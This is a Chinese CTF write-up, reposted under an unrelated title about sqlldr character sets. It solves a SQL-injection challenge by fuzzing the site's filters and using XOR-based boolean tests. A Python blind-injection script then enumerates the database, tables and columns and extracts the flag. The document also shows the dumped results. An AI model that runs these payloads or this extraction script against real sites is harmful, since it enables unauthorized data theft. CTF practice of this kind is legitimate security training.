sqlldr字符集(sqlloader 字符集)

sqlldr字符集(sqlloader 字符集)p 首先进入题目正常思路是登录框存在 sql 注入 尝试万能密码 提示 你可别被我逮住了 臭弟弟 应该是被过滤了 做一下 FUZZ 测试 发现过滤了空格 union 等关键字 p FUZZ 字典已经上传到 CSDN 了

大家好,我是讯享网,很高兴认识大家。



 <p>首先进入题目正常思路是登录框存在sql注入&#xff0c;尝试万能密码&#xff0c;提示“你可别被我逮住了&#xff0c;臭弟弟”&#xff0c;应该是被过滤了&#xff0c;做一下FUZZ测试&#xff0c;发现过滤了空格&#xff0c;union等关键字</p> 

讯享网


讯享网

FUZZ字典已经上传到CSDN了

试了很长时间发现注入点不在这里,看见了题目提示,选择正确的神秘代码即可获得flag,出现了id的注入点,重新FUZZ一下,发现单双引号是没有被过滤的,and被过滤了or没有被过滤,输入单引号出现Error,输入1^0出现NO! Not this! Click others~~~,判断是数字型注入

数字型注入的原始查询语句:SELECT * FROM table_name WHERE id=‘$id’

使用异或操作来进行注入,,,。

我们用两个连续的单引号将查询语句的两个单引号给闭合id=‘’or(1^0)正确,id=‘’or(1^1)错误,存在数字型注入

id=‘’or(length(database())=4)  得到数据库的名字是四个字符

找到注入点注入类型接下来还是用脚本吧

import requests

import time

url=“http://5d1aa51f-8d7a-44f9-b222-e46066ebb33a.node5.buuoj.cn:81/search.php?id="

flag=”“

i=0

while True:

    i+=1

    begin=32  

    end=126  #ascii码表的可打印字符从32到126

    tmp=(begin+end) //2

    while begin&lt;end:

        print(begin,tmp,end)

        time.sleep(0.1)   #buu的服务器还是停了0.1秒吧,防止429

        #爆库

        #payload=”‘’or(ascii(substr(database(),%d,1))&gt;%d)“%(i,tmp) #第一个%d对于的i,第二个%d对应的tmp,获取数据库名称的第个字符,然后通过函数将其转换为ASCII码,并与比较。

        #爆表

        #payload=”‘’or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))&gt;%d)“ % (i,tmp)

        #爆表

        #payload=”‘’or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘F1naI1y’)),%d,1))&gt;%d)“ % (i,tmp)

        #爆列

        payload=”‘’or(ascii(substr((select(group_concat(password))from(F1naI1y)where(username=‘flag’)),%d,1))&gt;%d)“ % (i,tmp)

        r=requests.get(url+payload) #发送一个GET请求到之前定义的,并将构造的附加到URL后面。

        if ‘Click’ in r.text: 

            begin = tmp+1

            tmp=(begin+end)//2

        else:

            end=tmp

            tmp=(begin+end)//2  #检查响应文本中是否包含”Click“,如果包含,说明猜测的字符ASCII值太小,需要增加的值;否则,猜测的值太大,需要减小的值。然后重新计算。

    flag+=chr(tmp)

    print(flag)

    if begin==32:

        break

#如果的值回到32,这意味着我们到达了字符范围的开始,这通常表示我们已经找到了完整的字符串,因此退出循环。

最后强调一下代码中,begin=tmp+1是必须的,从代码的可执行性角度来说如果  被设置为 ,那么在下一个迭代中, 将再次被设置为 ,这将导致  不变,从而陷入无限循环。

从二分法的角度来说当  条件为真时,意味着当前猜测的字符的 ASCII 值小于或等于 。因此,为了继续查找更高的值,我们将  设置为 ,从而排除掉  这个值,并继续在更高的范围内搜索。

用户:root@localhost
数据库名:Click
表名:F1naI1y
字段名:id,username,password
    username:mygod,welcome,site,site,site,site,Syc,finally,flag
    password:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908} 

这题还是有点坑的,表Flaaaaag最像存在flag的表,字段fl4gawsl查了啥也没有

小讯
上一篇 2025-06-05 11:21
下一篇 2025-05-26 23:00

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/207040.html